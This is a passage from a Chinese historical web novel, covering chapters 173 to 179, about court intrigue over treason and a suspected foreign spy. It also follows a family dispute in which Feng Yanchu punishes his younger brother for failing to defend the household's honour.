陈泽文这才道:“这几日京中消息纷纷扰扰,竟成一发不可收拾的地步,百姓都在抨击信国公府为国贼。”
“你叫我来就是要说这些?人在做,天在看,百姓的眼睛是雪亮的。”封砚初说完这话,随即浅饮一口桂花酿,点头道:“恒文酒肆最近上的这个酒喝着不错,酒中融入桂花馥郁之香,甜而不腻,正好带回去一些。”
“你这话只管哄傻子。已经有人猜出是你所为了!”陈泽文十分焦急。
封砚初听见这话,眼神清亮,声音没有任何起伏,可说出的话,却让人不由心生羞愧,“若一个人为了自身的利益,不仅做了那些伤害大晟的事,还里通外敌,可到头来朝中却有人想保他!而现下还要用百姓之言,才能给朝中诸公施压处置,何其可悲可叹!”
陈泽文听后久久不语,他猛地灌下一口酒,“是啊,明明是他们自私自利,不顾国家,可到头来还要议论你,觉得你手段太过狠辣,丝毫不给信国公留活路!”
“可他们忘了,大晟军营的兵器怎么就到了西戎的手里!他们从来不觉得这事不能做,只觉得卖的不够多,个人得利不够丰厚!若没有信国公从中斡旋,青州徐家他们敢吗!”他说到激动之处,气的捶桌子!
“你气什么?难道是觉得他们这些人能够长久?再者说,议论我的人应该有很多是九皇子和五皇子的人吧?”在封砚初心里,这二人都不配坐上那个位置。
今时今日就敢出卖大晟的利益,一旦陛下真的立其中一人为储君,来日登上皇位,那才叫糟糕。
陈泽文听后哈哈笑着,举杯道:“二郎,你说的不错!那些人斗得乌眼鸡似的,恨得从对方身上撕下一块肉来,为此不惜出卖大晟,难道陛下真的看不见吗?”
说到此处,他忽然反应过来,先是推门四处查看,见无人偷听,这才进来,压低声音说道:“二郎,你说陛下为什么这么多年迟迟不立储君,难道说这几个皇子根本就没在陛下的考虑范围内?陛下之所以看着他们斗,不过是为了朝堂的平衡!”
封砚初扯起嘴角笑道:“你说的这些,我怎么懂得?”
陈泽文见状推了他一把,嘁了一声,“什么人呐这是!算了,我不与你计较,只是提醒你要小心,你是一心为了大晟。可那些人却觉得你撤了他们发财的梯子,若是这次逃过之后,还不知道怎么算计你呢。”
他说到此处长叹道:“到处都是魑魅魍魉之辈。”
“怎么发出如此感叹?难道你在京西武备营也不得安稳?”封砚初疑惑道。
陈泽文见状吐槽,“也不知吉大人是怎么想的。这些时日,京西武备营里,大家也是浮躁不安,他竟也不管,任由其发展,就单单打架斗殴就发生了好几起!我家里也不清净,那些人知道我母亲深得陛下宠爱,每日都是求情之人。这些人还将主意打到我身上,今儿这个宴请,明儿那个找借口送礼,烦得很。”
封砚初趁机调侃,“没想到陈大郎君竟这般炙手可热,那还请我吃饭?真是荣幸啊!”
“你!”陈泽文气的没法。
封砚初这才摆了摆手,沉声正色道:“想来吉大人是有别的打算,你只需做好自己就行,旁人与你何干?没得牵扯进去。”
对于吉家,封砚初还是有些了解的。那就是典型的帝党,忠心的从来都不是某一位皇子,即使尊贵如太子殿下也没用,谁坐在那个位子上就忠心于谁。
就在这时,陈泽文突然转换话题,“自从陛下将安州驻军将军古湛,安州知府,知州等人抓捕回京后,便交给三司审问,没想到受到不小的阻力,你这一手,也算是间接为他们解了围。”
“有这个传言在,只要谁敢试图阻碍,那就是通敌卖国!不过,此次你们武安侯府能择出来实属幸运,也是你父亲及时掉头表态,毕竟陛下如今正是用人之际。”
封砚初并未继续这个话题,之前轻笑一声,目光扫向大厅,楼下之人正在吐槽,仔细一瞧,原来是徐家大郎:“信国公卧病在床,他不在家侍疾,怎么在这里饮酒?”
陈泽文亦伸头看去,冷哼一声,骂道:“蠢货,怪不得这么多年连徐三郎都斗不倒,你瞧往日围在他身边的人可还在?都到这个时候了,还没意识到今时不同往日。”
“或许人家是觉得自家祖父只是生病而已,信国公府一如往昔,眼前的困难并不算什么。”其实封砚初最开始见这徐大郎,单单外表还是挺唬人的,实则内里空空。听姐姐说,要不是有刘氏,早就被家里其他人撺掇着犯了错。
“哼,要是信国公府一如往昔,那他怎么不上二楼雅间来坐?非要同其他人挤在下面,听说你前几日去信国公府搬东西,这徐大郎上前阻拦,你将其说的羞愧难当,以至于昏过去了。”自从和封砚初往来多了以后,陈泽文可算是见识到对方的嘴,那真是不饶人。
“少来,分明是他自己心胸狭隘,身体不够康健。觉得徐三郎是那副德行不足为惧,心中惦记着我封家的财物,眼看着都搬走了,这才气的站了一会就撑不住了。”封砚初内心对信国公府诸人十分厌恶,自然嘴上不饶。
陈泽文听后,只端起酒杯饮酒,摇头笑而不语。
第一百七十四章 本本分分的生意人
没一会儿,陈泽文的小厮就带着舞坊的管事,与方才在楼下跳舞的舞姬进来了。
那管事弯着腰,十分恭敬地行着礼,脸上是一副谄媚之色,“小的种文山,乃是碧水阁的管事,请两位大人安。”随后赶紧将身后的舞姬往前推了推,“还不朝两位大人行礼。”
那舞姬也确实婀娜,举止投足间自带风流体态,“奴家格尔娜拜见两位大人。”只是这一开口却有些破坏美感,因为明显带着一股子别国异邦的味道。
封砚初瞥了一眼陈泽文,扭头看向别处,意思是你叫来的你自己处理。
陈泽文暗暗白了一眼,随即挑眉看去,“听这口音似乎并非我大晟人。”
种文山谄笑道:“她是阿克善国之人,家里人都没了,是与舅舅来到咱大晟,本想在京城谋生,奈何钱财花尽。一年前,她那舅舅便将她卖于碧水阁,一应文书都是齐全的,并非拐,还请郎君放心。”
陈泽文轻笑一声,语气中带着漫不经心,“你就是拐来的又能如何,这阿克善国远在大晟千里之外,我又不能真的去查。”
“大人容禀,小的确实不敢撒谎,他们来京城时好多人都是看见的,只要去查问,这些都是人证。”种文山吓得赶紧解释,眼前之人身份尊贵,虽不差钱,但还是担心对方给他安一个拐带良家的罪名,那可是要杀头的。
“我不过一问罢了,何必那般紧张,从今以后,这人归我了!至于钱嘛,今日出门未曾多带,回头来平昭公主府来取!”陈泽文心里清楚,眼前之人虽说并未拐带,但也知道是有人冒充其舅,不过是装作不知道罢了。
种文山得了吩咐,立时笑得脸上都快开出一朵花来,“多谢大人,多谢大人。”说罢将一应文书恭敬奉上,随后直接离开。
那舞姬见管事离开,脸上立刻浮出一抹笑,正要靠前。只见陈泽文用眼神看向那个事不关己之人。
封砚初见状,只得拿起桌上的筷子,射向舞姬身上的环跳、委中、肩井三处穴道。使得那原本还要往前靠的舞姬,还没来得及躲避,就已经顿时瘫软在地,同时双目睁的老大,心中思索自己是何处出了错漏。
等人倒下之后,陈泽文这才拍手赞道:“不愧是学医的,这穴道把握的就是准确!”
封砚初并未搭理,又拿出一小瓶药递过去,“给她服下。”
“你出门竟然还随身带这个。”陈泽文接过药瓶,先是小心翼翼地闻了闻,随后往出倒了倒,皱眉道:“怎么只有一枚啊?而且这是什么药,怎么是红色的?”
封砚初没好气道:“不想要还给我!还有,这药危害不小,服下之后。三日内,浑身软绵无力,慎用!”
陈泽文无语的举着小药丸,“你就给了我一个,还是给她服用,哪有多余的用来慎用。”随后将药递给小厮,“给她喂下去,然后交到玄麟卫衙门。”
那小厮才扶着舞姬出去,就被恒文酒肆的掌柜看了个正着。因担心这些二世祖们在此处惹事,难免要过问两句。更别说这舞姬在他这里跳舞,自然要问清楚,谁知刚上前还没开口,就被那小厮给顶回来了。
那小厮他是认识的,乃是平昭公主的长子——陈泽文身边的人,此人今日在楼上宴请的是武安侯府的封二郎君,哪个得罪了都是麻烦。就在他悻悻退下之时,封二郎君的护卫竟来叫。
“小的给陈大人,封大人见礼,可是两位有什么吩咐,小的这就去办。”
依旧是陈泽文问话,“我记得你这里以前是个琵琶女,什么时候换成阿克善国的舞姬了?”
这掌柜识人无数,见陈郎君这般问,必定是舞姬出了什么事。于是赶紧撇清,更是趁机诉说着委屈与无奈,“自从原先的那个琵琶女伤了手,酒肆里便重新换了一个,谁知水平有限,好些人不喜,就连生意都没以前好了。”
“少胡说,就你这恒文酒肆,没少挣钱,竟还好意思抱怨。”陈泽文才不信对方的鬼话,立时反驳。
掌柜只得又道:“实在不怪小的,这恒文酒肆背后的东家另有其人,眼见生意不如以前,小的也不好交代。还是无意间,听一位胡商说碧水阁新来了一位舞姬,不仅人长的漂亮,那舞更是一绝,这才将人请来。这不,自从来了之后,生意果真好了不少。”
说到此处,趁势小心翼翼地问道:“可是那舞姬有什么不妥?”
陈泽文冷眼看向掌柜,“你这家酒肆背后之人是谁,我很清楚,你也不要那他来吓我,吓不着!你说那舞姬身怀武功,怎么会在你这里跳舞,还不是觉得此处来的都是有身份之人!更何况,你们这些做生意的,每日迎来送往要见多少人?这眼力比那堂上的郎官们都要锐利,想就这么糊弄过去?做梦!”
那掌柜依旧躬着身,看起来十分卑微的样子,“恒文酒肆确实与碧水阁的管事签了契,可此人具体是哪里来的,只有那管事明白,小人不过是一个小小掌柜,如何得知?”
陈泽文被气的不轻,当时就涨红了脸。
一直以来未发一言的封砚初,此刻终于开了口,“掌柜所言甚是,这舞姬心怀不轨,恒文酒肆不过是被人蒙蔽。只是此事牵涉甚大,即使真无辜,也有识人不明之过。就是不知到时候玄麟卫查出来,你背后的靠山会不会保你?”
那掌柜行为先是一怔,然后迅速恢复过来,“大人说笑了,什么保不保的,小人乃是本本分分的生意人。”
陈泽文是一刻都不想在这里待了,他将银币扔到桌上,道:“二郎,与这种人费什么口舌,今日倒霉坏了心情,改日再请你!咱们走!”说罢拉着对方就要离开。
第一百七十五章 多的是手段保全自己
两人出了恒文酒肆的门,陈泽文便气的开始骂骂咧咧。
封砚初见状劝道:“生气又有何用,你永远叫不醒一个装睡的人。”说罢,指着不远处的一行人,“你瞧!现下他这是不想醒也得醒了。”
陈泽文望去,原来是一队玄麟卫的人朝这边跑来,随后他哈哈大笑,骂道:“活该!让你装聋作哑!”
果然,没一会儿,玄麟卫就将恒文酒肆里里外外全部围了起来,里面顿时响起一片惊慌嘈杂之声。
本来都打算离去的陈泽文干脆不走了,直接找了个观看视角极佳的茶摊坐下,乐呵呵的观望着眼前的景象。不到一刻钟,恒文酒肆掌柜等一行人都被抓起来了。
他虽可惜玄麟卫行动太过迅速,但能亲眼见此一幕,心情很好,甚至还招手高声嘲笑,“哎!你不是背后有靠山吗?怎么被抓了?看来你这靠山不管用啊!哈哈哈……”
此刻周围也是一片议论之声,甚至有普通百姓围上来打听。他也不嫌弃,与这些人说的津津有味。
一位穿着粗布衣裳的男人,靠在旁边的木柱,伸头问着:“这位郎君,我瞧着前面好像是恒文酒肆,怎么玄麟卫的人不仅把那里围住,还将掌柜一伙人抓了,可是犯了什么事?”其余人也都全神贯注。
陈泽文见有人打听,巴不得宣扬宣扬,立即道:“这恒文酒肆里不是新来了一个舞姬嘛,这舞姬好似是个他国细作,意图对大晟不轨,这恒文酒肆的人明知道这人有问题,还是将其留下,你说这不明摆着,肯定是恒文酒肆通敌嘛!”
周围百姓听后果然义愤填膺,要不是恒温酒肆被封,这些人都能跑到跟前吐口水。
“真是败类!大晟倒了对他们有何好处!”这个怒骂之人穿的很体面,显然生活过得不错,对此等败类深恶痛绝。
“这恒文酒肆日进斗金,还不知足!”此人穿着麻布衣裳,日子相对困苦一些,很不理解好吃好喝的,竟然还干这些下作之事。
这时,旁边一个书生打扮的人说道:“像恒温酒肆这种地方,背后都有权势滔天的主家撑腰,八成是背后之人为了自身利益,与外头的贼人达成某种合作!这掌柜不过是前头办事的马前卒,他们这些人只管自己得没得好处,才不会在乎大晟如何!”
此言又引起一番激愤与谩骂。
“败类!”
“此等人怎配活着!”
“再这样下去,大晟完了!”
“必定要惩处恒文酒肆背后的主家!”
那名书生冷哼一声,“哼,怎么可能,到时候这背后之人只会说,都是店里掌柜和伙计自作主张,他们一问三不知,多的是手段保全自己,陛下又能如何?”
陈泽文与封砚初一直等到恒文酒肆被查封后,这才离开。
可还没走几步,就被身后之人喊住,原来是那名书生。
陈泽文有些不耐烦道:“有什么事?”
封砚初并不认识眼前之人,可他瞧着陈泽文的样子,仿佛颇为熟悉,反问道:“你认识?”
陈泽文点头道:“他是肃王世子沈在云,以前身体不好,被家里送到药谷养病,今年才回来,你不认识也正常。”
封砚初听后拱手道:“臣封砚初拜见世子殿下。”
沈在云先是上下打量了一番,然后看向陈泽文问道:“原来这人就是封砚初啊,你们俩的关系什么时候这么好了?我记得前些年……”
话未说完,就被陈泽文打断,“嗯!都是小时候的事情,还提它做什么?”
封砚初嘴角含笑,又行了一礼,问道:“我却好奇,还请世子解惑。”
沈在云哈哈笑着,“好说,好说。自从他幼时被你揍了一顿之后,便心中淤堵怒火难消。他家里人觉得不过是小孩子打架,根本没当回事。可他不高兴,便给我写信,你猜上面都是些什么?”
“必定不是什么好话。”封砚初说话间故意看向陈泽文。
“自然,他说要练得一身武艺,好将你打的皮青脸肿,在地上滚来滚去,还说让我好好学习医术,将你毒哑,看你还怎么欺骗公主和驸马。”沈在云说到此处,眼神里满是得意。
陈泽文尴尬的清了清嗓子,“这都是幼时不懂事,再说你打了我一顿,难道还不容我抱怨几句?”
几人正说着话,又有玄麟卫从身边经过,这次押解的是碧水阁之人,其中还有之前见过的管事种文山。
种文山没想到才回去碧水阁没多久,玄麟卫就来人了,一言不合就开始抓人。他虽是舞坊的管事,实际上那些腌臜之事没少做,实在不知道是哪一条事发。
可让他没想到的是在被抓的路上,竟然碰见了贵人,于是连忙挣扎求情,“两位大人,两位大人救命啊,小的乃本分之人,这玄麟卫无故抓人,还请您同他们说说,事后小的必有重谢。”
此人话音刚落,玄麟卫的目光就投来了,陈泽文连忙骂道:“少胡说,我与你压根不认识,不过是想买个舞姬罢了,没想到你竟糊弄于我,我还没找你算账呢,竟敢向我求情!”玄麟卫听了这话,才拖着碧水阁一行人离开。
第一百七十六章 此刻谁都别走了
就在所有人都以为最先倒下的肯定是信国公府时,玄麟卫却在三日后包围了宜平侯府。宜平侯当场被羁押,要不是其子罗杰卸了身上的百户之职,恐怕也要一起下大狱,而不是暂时与家人圈禁于府。
半日闲茶馆。
沈在云冷笑道:“看我说的如何?背后真正的主人怎么可能被抓,还不是让宜平侯做了马前卒!”
陈泽文听后‘嘁’了一声,然后反问:“难道宜平侯是无辜的不成?再说了,想让背后之人认罪,那是妄想!即使要问罪,也得是以其他名义。”
他说到此处,并不想继续方才的话题,而是带着疑惑问起其他,“要我说你好好的待在药谷多自在,回来做什么?”
沈在云端起茶杯浅饮一口,随后长叹一声,“你以为我愿意回来?我与你不一样,我父王又不止一个儿子,可我母妃只有我一个,眼见我身体康复,自然着急让我回京。”
陈泽文家里虽然没有爵位,但他母亲是平昭公主,乃是陛下头生的长女,深受宠爱。且陈家满门的荣耀皆系于公主一身,陈驸马那两个庶子压根不敢出现在公主面前,在陈泽文这个长兄跟前更是勤谨恭敬。
沈在云说到此处,看向封砚初道:“其实我都有些羡慕封二郎,他家里虽没有嫡子,但几个兄弟相处和睦,武安侯也对几个儿子十分上心,可谓是父慈子孝,不像我家里,累的慌。”
封砚初闻言点头,大大方方承认了,“确实如此。在我家,我大哥居长,自幼对兄弟姊妹们都很照顾,很有长兄的风范。而且也从来不让父亲操心,一路顺利的考中进士,如今在户部行走学习。底下的弟弟妹妹们无论是对大哥,还是我都很敬重。”
其实让外人看武安侯府,都觉得很不可思议。嫡母没有亲子,兄弟姊妹几个也非同母所出,却并不像其他人家斗得乌眼鸡似的。
就在封砚初心中得意之际,突然听见隔壁的谈话之声,有些打脸。
先是其中一人说道:“明年我那二姐就要嫁给武安侯府的世子,虽说对方是庶出,可谁让他家唐大娘子没有亲生儿子。只是可惜前些日,他家长姐与徐三郎和离,如此以来,唐大娘子怎能真心将侯府的东西交给我姐姐!将来还是要赶紧找个人家嫁了才好。”这人说完,甚至得意的笑起来。
另一人更是跟声,“人家有自己的亲生女儿,怎会将自己的东西拿出来!还是你好,撇开生母,将嫡母哄的待你犹如亲子一般。底下只有一个还不到十岁的庶弟,构不成威胁,将来许家的东西还不都是你的?”
封砚初听见这话,顿时心中冒火,陈泽文赶紧安抚道:“你别冲动!你家毕竟与他家议亲,不宜闹得太难看,小做惩戒即可!”
就在这个当口,一个声音传来,更是让封砚初火冒三丈。
“唉,我说封四郎,你好歹也是武安侯府的郎君,那封砚初与你都是庶出,又不居长,你们有何区别?将来了不起一副薄产就打发了,怎么他就可以骑在你头上,那般跋扈?”
陈泽文见状默默收回手,只说道:“二郎,你去吧!我会帮你将他们的家里人叫来的。”
封砚初那张脸已经凝成寒冰,快步走向隔壁,只听‘砰’的一声,门被彻底踹倒在地。门内诸人见到他的一刹那,顿时都呆愣在原地。
四郎封砚安更是惊地瘫在地上,吓得直发抖,“二……二哥。”
“过来!”封砚初的声音极其平静,可就是这平静的声音让对方更害怕。
“是……是……二哥。”四郎连滚带爬的到了二哥身后,乖乖站好。
直到这时,他才有功夫搭理其余几位,“许大郎君,方二郎君,秦三郎君!没想到几位连个秀才都没考上,就如此关心我武安侯府的家事,莫不是正因成日里长舌妇一般的说长道短,这才耽搁了读书?”
秦三郎上面有两个嫡长兄,在家中根本没有地位,要不是大姑母将女儿嫁给此人,他根本不会有机会认识这种渣滓。
“秦三郎,听说你整日眠花宿柳,连青楼歌坊的钱都要欠着,据说你家的门房看见要账的老鸨子脸都绿了,怎么今日有闲钱在这里吃茶?莫不是又偷了我表姐的嫁妆银?”封砚初说话时连眼神都没给对方。
秦三郎被说的满脸涨红,嘟囔半天说不出一句话。
“方二郎君,前几日你因与嫡兄争执了几句,被嫡母打的连床都起不来,怎么着,腿脚才利落,就迫不及待的说别人家的是非?不知此次被嫡母知道,可还容得下你?”他依旧没饶过此人。
方二郎君听后吓得不行,方家的后宅都是嫡母做主,更别提嫡长兄一向优秀,嫡母就是将他打残扔出方家,父亲也不会多说一句。
许大郎君原本见到封砚初之时还有些尴尬,但此刻已经缓过来了,他嘴角扯出一副满不在乎的笑来,“封砚初,难道我说的不对吗?将来这武安侯府与你有何关系,你这般护持,而且两家定了亲,难道就凭你一句话,你家还能反悔不成?”
封砚初都快被气笑了,他轻笑道:“好!很好!我若就此饶了你,如何对得起你这番心思!此刻谁都别走了!”
这三人立即紧张起来,磕磕绊绊的质问,“你……你到底想干嘛?难不成想囚禁我们不成?”
“囚禁?我还怕脏了自己的手!”封砚初拉过一张椅子坐下,就这么静静的看着几人。
第一百七十七章 我说话,你还敢犹豫
等了没一会儿,最先到的是安远侯。他本不想亲自前来,但是来人说他儿子是被封修撰堵了个正着,别看那封砚初只是小小的修撰,先不说他本人就不是吃素的,身边的往来之人都是颇有身份之人,所以这才亲自到场。
“安远侯。”封砚初见对方亲自前来,这才起身行礼。
安远侯也拱了拱手,笑道:“真是惭愧,早就想与封修撰见一面,可惜一直没机会。只是没想到今日竟在这种场合碰上,一切是犬子无状。”
封砚初见对方十分客气,也没有太过分,“想必侯爷来的路上已经有所耳闻。说来万分愧疚,封某多年努力苦读才混到这个位置,却没想到竟然这般瞧不上。”
安远侯立即道:“哪的话,若封修撰都被瞧不上,那旁人还不如钻到地缝里。不过还请封修撰放心,从今以后,我会将他分出去,他不得以安远侯府的名义行事,今后犯了任何错处,一律自行承担!”整个说话的过程,都没看秦三郎一眼,可见这是彻底放弃了。
秦三郎听后连忙跪在地上求饶,“父亲,我错了,父亲,我今后再也不敢了!求您别赶我出府!”
到了此刻,安远侯才垂眼看向对方,声音冷酷,“你若是再聒噪,我便将你除族!”
秦三郎立时吓得不敢出声,只能暗戳戳用狠毒的眼神看向封砚初,觉得都是此人的错。
封砚初自然发现了,他瞥向对方,声音中透着漫不经心,“秦三郎,你既然狠毒了我,为何不大大方方的报复,何故用那阴暗的眼神瞧我?如此我也少不了一块肉。”
安远侯听后,直接一脚将人踹翻在地,骂道:“畜牲,当初就不应该生下你,净给我惹事!看什么看!你若是有封修撰的一半能耐,我便立即向陛下请奏立你为世子!”
紧接着回头对封砚初道:“以后他若是得罪了你,你就是将他打死,我安远侯府也不会多说一句。”说罢,挥手示意下人将秦三郎带走!
方家来的是方二郎的嫡长兄,他一直等到安远侯离开才进门,“见过封修撰。”
封砚初这算是初次见到方大郎君,对方举止投足间也确实是一副谦谦君子模样,于是回了一礼:“方大郎君。”
其实在方大郎君心里,还是很佩服武安侯府兄弟二人的,他先示意下人将方二郎带走,“请封二郎放心,方家会给武安侯府一个交代。”
若是方二郎真如封家兄弟一般出息,方家亦乐见其成,毕竟打虎亲兄弟,无论是大娘子还是方大人,倒是情愿方大郎能有个帮手。可对方不仅不争气,还处处想压嫡长兄一头,这怎么可能!
封砚初嘴角含笑,“如此,封某便静候佳音了。”
许家,无论是嫡母还是许大人都未出现,派来的是管家。
那管家看到封砚初扫过来的眼神,立即上前行礼道:“小的见过封二郎君,我家大人并未回来,大娘子又忙着处理家事,便让小的来接我家郎君回去,若是有言语不周之处,小的代为赔罪。”
许大郎君见此一幕不禁嗤笑,然后慢慢靠近,拍着封砚初的肩膀,言语中满是轻蔑,“封砚初,瞧见没?我便是说了,你又能奈我何?”说罢笑着出门而去!
封砚初压下心中怒火:许大郎君,你且等着!
这边刚结束,陈泽文与沈在云便进来了。
陈泽文见其脸色难看,担心道:“你没事吧?”
沈在云也说道:“方才有好些想看热闹的,都被我们赶走了。”
“呼——”封砚初长舒一口气,脸上已经是一副笑模样,“没事,我很好,世子殿下,陈大郎,方才多谢你们了。只是我眼下还有事情要处理,就此告辞,今日扰了雅兴,改日定当赔罪。”
两人见他还能笑出来,心里只觉得发毛,一起点头摆手,说出的话都一模一样,“去吧,去吧!改日再聚!”
上了马车,封砚初脸色大变,吓得四郎封砚安全程敛声屏气,不敢出声。
到了武安侯府,门子上的人见二郎君脸色阴沉,身后还跟着四郎君,他们也吓得不敢出声,只是远远的见礼。
进门后,封砚初一路急行,直到家祠之处才停下。(重大场合或者过年时与族人一起祭祖的是宗祠;家祠则是武安侯府日常祭拜的地方;所以这两个虽然都是祠堂,但作用不同)
“跪下!”
“二哥?”四郎封砚安诧异的看向眼前之人,他只是没有辩解罢了,何至于如此。
封砚初见对方还敢迟疑,心中更是怒火中烧,声音冷凝,“还要我再说第二遍吗?”
早在他们二人进门往祠堂而来之时,就有下人将所见告知给老太太和大娘子等人。而就在此时,她们已经来了。
四郎原本就要跪下去了,可看到老太太她们来了,又犹豫了,但面前之人并未给他这个机会。
只听‘啪’的一声!
封砚初一巴掌已经扇在了四郎脸上,又一脚将人踹的跪在地上,声音冷的犹如寒冬里的冰,“我说话,你还敢犹豫!”
老太太被眼前这一幕吓了一大跳,上前问道:“二郎,四郎犯了什么错?怎么生这么大的气?”
大娘子虽疑惑不解,但嘴上还是说着,“二郎,四郎一贯胆小,若是有错,你好好教他便是。”就连老太太和大娘子都未发现,她们两人的声音不由自主的低了两分。
封砚初先是朝两人行了一礼,“祖母,母亲,且待我处理完他,之后再向你们回禀。”
随后盯着四郎说道:“你自幼读了那么多的书,大道理都懂,我亦懒得再教,你便跪着祠堂外头好好反省,若让我知道你偷懒,你应当明白,家里所有人都拦不住我罚你!”
他说到这里又看向四周,“还有,谁都不许给他方便,就这么跪着!让所有人都看着!”
周围的下人立即道:“是,二郎君!”
第一百七十八章 这已经不是胆小懦弱了
此刻封砚初才道:“祖母,母亲,我有话要说,还是将父亲和大哥也叫来。”
老太太是第一次见二郎生这么大的气,但也知道对方不会无缘无故如此,于是点头道:“都去我那里吧。”
“是,祖母。”说罢一行人都去了老太太处,没一会儿,其余两人也到了。
“母亲,这么急匆匆将儿子叫来,有何要事?”封简宁进屋行礼后,便开口问,大郎封砚开亦投去好奇的目光。
老太太指了指封砚初,解释道:“是二郎将你们叫来的,他有话要说,正好大家都听一听。”
等众人都坐下,封砚初起身先是朝众人行了一礼,然后才说道:“儿子今日与朋友在半日闲茶馆闲聊,没想到四郎与许大郎君,方二郎,秦三郎几人也在隔壁说话。只怪那墙壁太薄,儿子的耳力又太好,竟将隔壁的声音听得一清二楚。”
“其余两人倒也罢了,都在那里搭弦帮腔。可那许大郎君仗着嫡子许二郎早逝,庶弟许三郎年幼,便分外嚣张。因着他姐姐要嫁进武安侯府了,便觉得府中其余人及其碍眼。还没进门,便想着给长姐随意找户人家打发出去,又觉得我在家里不过是庶出的次子,与他封四郎君别无二致,将来充其量一副薄产便可打发。”
他说到此处,空气变得凝重。老太太已经变了脸色,大娘子更是难看的紧,父亲神情严肃,大郎也是眉头紧皱。
“还说了什么?”封简宁紧握双拳,咬着牙问。
封砚初继续道:“可我们的封四郎君,大抵心中也觉得我嚣张无礼,早已心生不满,整个过程连句分辩的话都没有,任由别人拿着我武安侯府说事!而许家更是觉得,将来的武安侯府都是他们家说了算,态度及其轻慢。所以其余两家,一个是安远侯亲自前来,另一个也派了方大郎。”
“只有许家,或许瞧不起儿子,亦或是未将武安侯府放在眼里,只打发一个管家来接,连一句道歉的话都没有。那许大郎君更是嚣张无比,觉得我封砚初不过是武安侯府的庶子,身份低微,即使他口出恶语,我也拿他无可奈何!”
封简宁听后,气的直接将茶盏砸在地上。他心里很清楚,此事若处理不好,二郎与大郎将来必定心生龃龉。更深恨这许家的女儿还未进门,许家人就这般瞧不起武安侯府,还挑拨兄弟感情!一个身无功名的庶子都敢如此看待二郎,慢待武安侯府,那其余人只会更甚。
大娘子何尝听不出许家人的算计,不就是觉得自己没个亲生儿子,便也看女儿不顺眼,一副嫁妆打发出去,将来自己的体己还不都是他许家的!
此刻已经气的顾不得仪态,破口大骂:“还没进我家的门,就如此赤裸裸的谋划!更何况二郎已经考中了状元,更是文武双全,他许家算个什么东西!这么多年,家里连个秀才都没考出来,有什么资格谈论旁人!”
老太太看向脸似寒铁的儿子,沉声道:“这个亲不合适!还是退了吧!”
封砚开也赶紧表态,“许家如此算计,可恶至极!人品更是低劣,这样的人家实在不堪。”
封简宁冷着一张脸,“原本也是因为许家被陛下新提了太仆寺卿的官职,掌管着大晟马匹,必定与那些人牵扯不深。没想到这才任命没多久便飘了,这个亲事必须退,不仅要退还要同他说清楚,他许家门第高贵,我武安侯府配不上他家的女儿!”
而他对四郎更加失望,“至于四郎,算是废了,既如此便让他跪着吧!原本以为他只是胆小懦弱,没想到竟然如此不堪!”
说到这里,看向大郎道:“将他的书都收回来吧,你与二郎也不必在费心,这么多年竟是白读了!幼时,明明你们兄弟几个一起做了犯错,可偏偏每次,他都是那个告状之人,可见这性子从小便是定了的。”
封简宁此刻想起那个,一直以来并无太过关注的四子,只觉得浑身都是缺点。即便幼时还因对方告状,未酿成大错而表扬过。但现在回想起来,却觉得这个儿子浑身都是错处。
大郎有心求情,他张了张嘴,最终什么也没说。那些人如此诋毁武安侯府,四郎明明就在当场,却不知阻止,任由小人肆意胡说,这已经不是性格胆小懦弱了,而是品行道德上出了问题。
现在,没有一人为四郎说话。
老太太心里更是清楚,若以前,儿子还会觉得四郎虽胆小,但起码知上进,比三郎还强些。不过从今以后,他这是彻底放弃四郎了。
若说大娘子从前还会对四郎做到一个嫡母应尽的职责,但从此以后便是厌恶!试问这些年她也未曾苛待,一应东西都是按时按点的供应,可对方竟任由那些败类如此说自己的姐姐,如此对他有何好处!好处!
对于封砚初而言,之前他还对四郎抱有希望,是真心希望对方能够在科举仕途上顺利,也对其所有帮助教导,那么从今往后,此人便不在他眼中!原以为是胆小,没想到是薄情!侯府供应他读书识字,生活优渥,可他竟任由旁人诋毁而不发一言,可见品行不堪。
此刻,他突然想起小时候的事情来,父亲几次打他,或者生个病被关在房间,亦或是被关一年禁闭读书,其余人都是主动前来探望,只有四郎要么是被方姨娘逼着前来,要么压根就没出现过。如此想来,对方好像从小就这样。
只怕到现在,跪在祠堂门前的四郎并不觉得错了,更多的是对自己被罚跪,被往来的下人瞧,感到丢脸罢了。
第一百七十九章 说到底还是心里嫉妒
事情也果真如封预料的一般,四郎封砚安跪在祠堂外头,可他满脑子想的都是二哥太不讲情面,让他在大庭广众之下跪着,还有那么多下人来瞧。今后他还如何在家里生活,如何面对这些下人。
此刻,只觉得自己从未如此屈辱过。多想就此起身,可心里清楚,二哥虽不会承袭爵位,但是在家里的分量那是说一不二的。若真的就此起身,迎来的惩罚只会更重,而且整个侯府不会有任何人拦着。
他似乎听到下人们窃窃私语的声音,能感受到他们投来的目光,这使他浑身不自在,脸上难堪至极。
光线渐渐不在,不知什么时候,已是满天繁星。
四郎一直跪在此处,这也是第一次被罚跪,膝盖仿佛已经失去了知觉。原本还期盼着有人能来探望,让他起来,可即使腹中饥饿,也没有一个人来瞧他,包括自己的姨娘和同母的妹妹。
直至次日,父亲身边的方恩突然前来,只说了一句,“侯爷让四郎君回去。”
封砚安原本以为还要迎来一顿好打,没想到竟然就此饶了他,心中不免存了几分侥幸。
腿已经没有了知觉,直到起身之际,才传来犹如针刺一般的疼痛。他下意识抬手,想让下人扶自己起身,可没想到落了空,一个趔趄摔倒在地。
直到一瘸一拐的回到院子里,心中震惊。屋子里的书架空空如也,原来的下人都已经不见了,只有姨娘方氏还在此处等着。就在他想要张口说些什么,竟然迎来了对方的巴掌。
“姨娘!”四郎捂着原本就被封砚初打地肿起来的脸,不可置信道。
“别叫我!我只愿当初没生下你!”方姨娘气的用拳头,一边捶着对方,一边骂道:“你是武安侯府的四郎君,外人都快在踩在侯府的脸上拉屎撒尿了,你竟然不发一言!以前我只觉得你胆子小,好在读书还算刻苦,可我错了,你丧德败兴,居然与那些败类为伍!你让我丢尽脸面,以后还如何在侯府继续待着!”
四郎看向姨娘,质问道:“在姨娘心里只会觉得我丢脸,处处不如人。总是说大哥好,二哥好;就连三哥那不学无术之人,你都处处夸赞。可到我呢?便是处处贬低!”
方姨娘快气疯了,她没想到儿子竟然说出这种话来,指着对方的鼻子骂道:“封砚安!难道我说错了吗?你在读书上,不如你大哥和二哥聪慧;为人不如你三哥宽厚;就连你妹妹也比你大方。你长姐虽是嫡女,可对兄弟姊妹处处照顾,你两个哥哥为你的学业操心,你的良心被狗吃了吗?还说出这种话来!”
